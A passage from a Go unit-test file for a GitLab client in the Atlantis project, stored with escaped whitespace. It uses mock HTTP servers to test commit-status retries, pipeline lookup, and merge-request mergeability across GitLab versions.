\"running\",\n\t\t},\n\t\t// Ensure that 5 x 409 Conflict still succeeds\n\t\t{\n\t\t\tstatus:              models.PendingCommitStatus,\n\t\t\tnumberOfConflicts:   5,\n\t\t\texpNumberOfRequests: 6,\n\t\t\texpState:            \"running\",\n\t\t},\n\t\t// Ensure that 10 x 409 Conflict still fail due to running out of retries\n\t\t{\n\t\t\tstatus:              models.FailedCommitStatus,\n\t\t\tnumberOfConflicts:   100, // anything larger than 10 is fine\n\t\t\texpNumberOfRequests: 10,\n\t\t\texpState:            \"failed\",\n\t\t\texpError:            true,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.expState, func(t *testing.T) {\n\t\t\thandledNumberOfRequests := 0\n\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/statuses/sha\":\n\t\t\t\t\t\thandledNumberOfRequests++\n\t\t\t\t\t\tshouldSendConflict := handledNumberOfRequests <= c.numberOfConflicts\n\n\t\t\t\t\t\tvar updateStatusJsonBody UpdateStatusJsonBody\n\t\t\t\t\t\terr := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\tEquals(t, c.expState, updateStatusJsonBody.State)\n\t\t\t\t\t\tEquals(t, updateStatusSrc, updateStatusJsonBody.Context)\n\t\t\t\t\t\tEquals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl)\n\t\t\t\t\t\tEquals(t, updateStatusDescription, updateStatusJsonBody.Description)\n\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\n\t\t\t\t\t\tif shouldSendConflict {\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusConflict)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(EmptyStruct{})\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\t\tgetCommitResponse := GetCommitResponse{\n\t\t\t\t\t\t\tLastPipeline: &GetCommitResponseLastPipeline{\n\t\t\t\t\t\t\t\tID: gitlabPipelineSuccessMrID,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(getCommitResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/\":\n\t\t\t\t\t\t// Rate limiter requests.\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:          internalClient,\n\t\t\t\tVersion:         nil,\n\t\t\t\tPollingInterval: 10 * time.Millisecond,\n\t\t\t}\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\tName:     \"atlantis\",\n\t\t\t}\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\trepo,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum:        1,\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\tHeadCommit: \"sha\",\n\t\t\t\t\tHeadBranch: \"test\",\n\t\t\t\t},\n\t\t\t\tc.status,\n\t\t\t\tupdateStatusSrc,\n\t\t\t\tupdateStatusDescription,\n\t\t\t\tupdateStatusTargetUrl,\n\t\t\t)\n\n\t\t\tif c.expError {\n\t\t\t\tErrContains(t, \"failed to update commit status for 'runatlantis/atlantis' @ 'sha' to 'src' after 10 attempts\", err)\n\t\t\t\tErrContains(t, \"409\", err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tAssert(t, c.expNumberOfRequests == handledNumberOfRequests,\n\t\t\t\tfmt.Sprintf(\"expected %d number of requests, but processed %d\", c.expNumberOfRequests, handledNumberOfRequests))\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatusWithRetryEnabled(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tcases := []struct {\n\t\tname                  string\n\t\tnullPipelineResponses int\n\t\texpGetCommitRequests  int\n\t\texpPipelineIdSet      bool\n\t}{\n\t\t{\n\t\t\tname:                  \"waits up to 3 attempts for pipeline\",\n\t\t\tnullPipelineResponses: 1,\n\t\t\texpGetCommitRequests:  2,\n\t\t\texpPipelineIdSet:      true,\n\t\t},\n\t\t{\n\t\t\tname:                  \"gives up after 3 attempts and uses ref\",\n\t\t\tnullPipelineResponses: 10,\n\t\t\texpGetCommitRequests:  5,\n\t\t\texpPipelineIdSet:      false,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.name, func(t *testing.T) {\n\t\t\tgetCommitRequests := 0\n\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha\":\n\t\t\t\t\t\tgetCommitRequests++\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\t\tvar getCommitResponse GetCommitResponse\n\t\t\t\t\t\tif getCommitRequests > c.nullPipelineResponses {\n\t\t\t\t\t\t\tgetCommitResponse = GetCommitResponse{\n\t\t\t\t\t\t\t\tLastPipeline: &GetCommitResponseLastPipeline{\n\t\t\t\t\t\t\t\t\tID: gitlabPipelineSuccessMrID,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(getCommitResponse)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/statuses/sha\":\n\t\t\t\t\t\tvar updateStatusJsonBody UpdateStatusJsonBody\n\t\t\t\t\t\terr := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\tdefer r.Body.Close()\n\n\t\t\t\t\t\tif c.expPipelineIdSet {\n\t\t\t\t\t\t\tEquals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId)\n\t\t\t\t\t\t\tEquals(t, \"\", updateStatusJsonBody.Ref)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tEquals(t, 0, updateStatusJsonBody.PipelineId)\n\t\t\t\t\t\t\tEquals(t, updateStatusHeadBranch, updateStatusJsonBody.Ref)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tsetStatusJsonResponse, err := json.Marshal(EmptyStruct{})\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\t_, err = w.Write(setStatusJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\t\t\tdefer testServer.Close()\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\n\t\t\tclient := &Client{\n\t\t\t\tClient:             internalClient,\n\t\t\t\tVersion:            nil,\n\t\t\t\tStatusRetryEnabled: true,\n\t\t\t\tPollingInterval:    10 * time.Millisecond,\n\t\t\t}\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\tName:     \"atlantis\",\n\t\t\t}\n\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\trepo,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum:        1,\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\tHeadCommit: \"sha\",\n\t\t\t\t\tHeadBranch: updateStatusHeadBranch,\n\t\t\t\t},\n\t\t\t\tmodels.PendingCommitStatus,\n\t\t\t\tupdateStatusSrc,\n\t\t\t\tupdateStatusDescription,\n\t\t\t\tupdateStatusTargetUrl,\n\t\t\t)\n\t\t\tOk(t, err)\n\n\t\t\tEquals(t, c.expGetCommitRequests, getCommitRequests)\n\t\t})\n\t}\n}\n\nfunc mustReadFile(t *testing.T, filename string) []byte {\n\tret, err := os.ReadFile(filename)\n\tOk(t, err)\n\treturn ret\n}\n\nfunc TestClient_PullIsMergeable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tgitlabClientUnderTest = true\n\tgitlabVersionOver15_6 := \"15.8.3-ee\"\n\tgitlabVersion15_6 := \"15.6.0-ee\"\n\tgitlabVersionUnder15_6 := \"15.3.2-ce\"\n\tgitlabServerVersions := []string{gitlabVersionOver15_6, gitlabVersion15_6, gitlabVersionUnder15_6}\n\tvcsStatusName := \"atlantis-test\"\n\tdefaultMr := 1\n\tnoHeadPipelineMR := 2\n\tciMustPassMR := 3\n\tneedRebaseMR := 4\n\tremainingApprovalsMR := 5\n\tblockingDiscussionsUnresolvedMR := 6\n\tworkInProgressMR := 7\n\tpipelineSkippedMR := 8\n\n\t// Any IsMergeable logic that depends on data from the project itself is too difficult to test here.\n\t// See TestClient_gitlabPullIsMergeable\n\n\tprojectSuccess, err := os.ReadFile(\"testdata/project-success.json\")\n\tOk(t, err)\n\n\tmrs := map[int][]byte{\n\t\tdefaultMr:                       mustReadFile(t, \"testdata/pipeline-success.json\"),\n\t\tnoHeadPipelineMR:                mustReadFile(t, \"testdata/head-pipeline-not-available.json\"),\n\t\tciMustPassMR:                    mustReadFile(t, \"testdata/detailed-merge-status-ci-must-pass.json\"),\n\t\tneedRebaseMR:                    mustReadFile(t, \"testdata/detailed-merge-status-need-rebase.json\"),\n\t\tremainingApprovalsMR:            mustReadFile(t, \"testdata/pipeline-remaining-approvals.json\"),\n\t\tblockingDiscussionsUnresolvedMR: mustReadFile(t, \"testdata/pipeline-blocking-discussions-unresolved.json\"),\n\t\tworkInProgressMR:                mustReadFile(t, \"testdata/pipeline-work-in-progress.json\"),\n\t\tpipelineSkippedMR:               mustReadFile(t, \"testdata/pipeline-with-pipeline-skipped.json\"),\n\t}\n\n\tcases := []struct {\n\t\tstatusName     string\n\t\tstatus         models.CommitStatus\n\t\tgitlabVersions []string\n\t\tmrID           int\n\t\texpState       models.MergeableStatus\n\t}{\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply: resource/default\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tdefaultMr,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tdefaultMr,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan: resource/default\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tdefaultMr,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan: resource/default has status failed\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.PendingCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tdefaultMr,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan has status pending\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tdefaultMr,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tciMustPassMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tciMustPassMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan has status failed\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t// This MR should be listed as not mergeable. However, in older versions they don't have detailed_merge_status,\n\t\t// so our code can only see the merge_status field (deprecated in 15.6), which says can_be_merged.\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t[]string{gitlabVersionUnder15_6},\n\t\t\tneedRebaseMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t[]string{gitlabVersion15_6, gitlabVersionOver15_6},\n\t\t\tneedRebaseMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Merge status is need_rebase\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply: resource/default\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/apply\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan: resource/default\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan: resource/default has status failed\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.PendingCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan has status pending\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.FailedCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      fmt.Sprintf(\"Pipeline %s/plan has status failed\", vcsStatusName),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tnoHeadPipelineMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tremainingApprovalsMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Still require 2 approvals\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tblockingDiscussionsUnresolvedMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Blocking discussions unresolved\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tworkInProgressMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Work in progress\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tfmt.Sprintf(\"%s/plan\", vcsStatusName),\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\tgitlabServerVersions,\n\t\t\tpipelineSkippedMR,\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Pipeline was skipped\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tfor _, serverVersion := range c.gitlabVersions {\n\t\t\tt.Run(c.statusName, func(t *testing.T) {\n\t\t\t\ttestServer := httptest.NewServer(\n\t\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\t\tswitch {\n\t\t\t\t\t\tcase r.RequestURI == \"/api/v4/\":\n\t\t\t\t\t\t\t// Rate limiter requests.\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\t\tcase strings.HasPrefix(r.RequestURI, \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/\"):\n\t\t\t\t\t\t\t// Extract merge request ID\n\t\t\t\t\t\t\tmrPart := strings.TrimPrefix(r.RequestURI, \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/\")\n\t\t\t\t\t\t\tmrID, err := strconv.Atoi(mrPart)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tt.Errorf(\"invalid MR id in URI %q\", r.RequestURI)\n\t\t\t\t\t\t\t\thttp.Error(w, \"bad request\", http.StatusBadRequest)\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tresponse, ok := mrs[mrID]\n\t\t\t\t\t\t\tif !ok {\n\t\t\t\t\t\t\t\tt.Errorf(\"invalid MR id %d\", mrID)\n\t\t\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tw.Write(response) // nolint: errcheck\n\n\t\t\t\t\t\tcase r.RequestURI == fmt.Sprintf(\"/api/v4/projects/%v\", projectID):\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tw.Write(projectSuccess) // nolint: errcheck\n\t\t\t\t\t\tcase r.RequestURI == fmt.Sprintf(\"/api/v4/projects/%v/repository/commits/67cb91d3f6198189f433c045154a885784ba6977/statuses\", projectID):\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tresponse := fmt.Sprintf(`[{\"id\":133702594,\"sha\":\"67cb91d3f6198189f433c045154a885784ba6977\",\"ref\":\"patch-1\",\"status\":\"%s\",\"name\":\"%s\",\"target_url\":null,\"description\":\"ApplySuccess\",\"created_at\":\"2018-12-12T18:31:57.957Z\",\"started_at\":null,\"finished_at\":\"2018-12-12T18:31:58.480Z\",\"allow_failure\":false,\"coverage\":null,\"author\":{\"id\":1755902,\"username\":\"lkysow\",\"name\":\"LukeKysow\",\"state\":\"active\",\"avatar_url\":\"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\"web_url\":\"https://gitlab.com/lkysow\"}}]`, c.status, c.statusName)\n\t\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\tcase r.RequestURI == \"/api/v4/version\":\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\t\t\t\ttype version struct {\n\t\t\t\t\t\t\t\tVersion string\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tv := version{Version: serverVersion}\n\t\t\t\t\t\t\terr := json.NewEncoder(w).Encode(v)\n\t\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\t}\n\t\t\t\t\t}))\n\n\t\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\t\tOk(t, err)\n\t\t\t\tclient := &Client{\n\t\t\t\t\tClient:  internalClient,\n\t\t\t\t\tVersion: nil,\n\t\t\t\t}\n\n\t\t\t\trepo := models.Repo{\n\t\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\t\tName:     \"atlantis\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.Gitlab,\n\t\t\t\t\t\tHostname: \"gitlab.com\",\n\t\t\t\t\t},\n\t\t\t\t}\n\n\t\t\t\tmergeable, err := client.PullIsMergeable(\n\t\t\t\t\tlogger,\n\t\t\t\t\trepo,\n\t\t\t\t\tmodels.PullRequest{\n\t\t\t\t\t\tNum:        c.mrID,\n\t\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\t\tHeadCommit: \"67cb91d3f6198189f433c045154a885784ba6977\",\n\t\t\t\t\t}, vcsStatusName, []string{})\n\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, c.expState, mergeable)\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestClient_gitlabIsMergeable(t *testing.T) {\n\t// Test the helper gitlabIsMergeable directly\n\n\tcases := []struct {\n\t\tdescription                 string\n\t\tmr                          *gitlab.MergeRequest\n\t\tproject                     *gitlab.Project\n\t\tsupportsDetailedMergeStatus bool\n\t\texpected                    models.MergeableStatus\n\t}{\n\t\t{\n\t\t\tdescription: \"requires approvals\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tApprovalsBeforeMerge: 2,\n\t\t\t},\n\t\t\tproject: &gitlab.Project{},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Still require 2 approvals\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"blocking discussions unresolved\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: false,\n\t\t\t},\n\t\t\tproject: &gitlab.Project{},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Blocking discussions unresolved\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"work in progress\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tWorkInProgress:              true,\n\t\t\t},\n\t\t\tproject: &gitlab.Project{},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Work in progress\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"pipeline skipped and not allowed\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tHeadPipeline:                &gitlab.Pipeline{Status: \"skipped\"},\n\t\t\t},\n\t\t\tproject: &gitlab.Project{\n\t\t\t\tAllowMergeOnSkippedPipeline: false,\n\t\t\t},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Pipeline was skipped\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"pipeline skipped and is allowed\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tHeadPipeline:                &gitlab.Pipeline{Status: \"skipped\"},\n\t\t\t\tDetailedMergeStatus:         \"mergeable\",\n\t\t\t},\n\t\t\tsupportsDetailedMergeStatus: true,\n\t\t\tproject: &gitlab.Project{\n\t\t\t\tAllowMergeOnSkippedPipeline: true,\n\t\t\t},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"detailed merge status mergeable\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tDetailedMergeStatus:         \"mergeable\",\n\t\t\t},\n\t\t\tproject:                     &gitlab.Project{},\n\t\t\tsupportsDetailedMergeStatus: true,\n\t\t\texpected:                    models.MergeableStatus{IsMergeable: true},\n\t\t},\n\t\t{\n\t\t\tdescription: \"detailed merge status need_rebase\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tDetailedMergeStatus:         \"need_rebase\",\n\t\t\t},\n\t\t\tproject:                     &gitlab.Project{},\n\t\t\tsupportsDetailedMergeStatus: true,\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Merge status is need_rebase\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"detailed merge status not mergeable\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tDetailedMergeStatus:         \"blocked\",\n\t\t\t},\n\t\t\tproject:                     &gitlab.Project{},\n\t\t\tsupportsDetailedMergeStatus: true,\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Merge status is blocked\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"detailed merge status can_be_merged (not a valid detailed status)\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tDetailedMergeStatus:         \"can_be_merged\",\n\t\t\t},\n\t\t\tproject:                     &gitlab.Project{},\n\t\t\tsupportsDetailedMergeStatus: true,\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Merge status is can_be_merged\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"legacy merge status can_be_merged\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tMergeStatus:                 \"can_be_merged\",\n\t\t\t},\n\t\t\tproject:  &gitlab.Project{},\n\t\t\texpected: models.MergeableStatus{IsMergeable: true},\n\t\t},\n\t\t{\n\t\t\tdescription: \"legacy merge status cannot be merged\",\n\t\t\tmr: &gitlab.MergeRequest{\n\t\t\t\tBlockingDiscussionsResolved: true,\n\t\t\t\tMergeStatus:                 \"cannot_be_merged\",\n\t\t\t},\n\t\t\tproject: &gitlab.Project{},\n\t\t\texpected: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t\tReason:      \"Merge status is cannot_be_merged\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tactual := isMergeable(c.mr, c.project, c.supportsDetailedMergeStatus)\n\t\t\tEquals(t, c.expected, actual)\n\t\t})\n\t}\n}\n\nfunc TestClient_MarkdownPullLink(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tgitlabClientUnderTest = true\n\tdefer func() { gitlabClientUnderTest = false }()\n\tclient, err := New(\"gitlab.com\", \"token\", []string{}, logger)\n\tOk(t, err)\n\tpull := models.PullRequest{Num: 1}\n\ts, _ := client.MarkdownPullLink(pull)\n\texp := \"!1\"\n\tEquals(t, exp, s)\n}\n\nfunc TestClient_HideOldComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttype 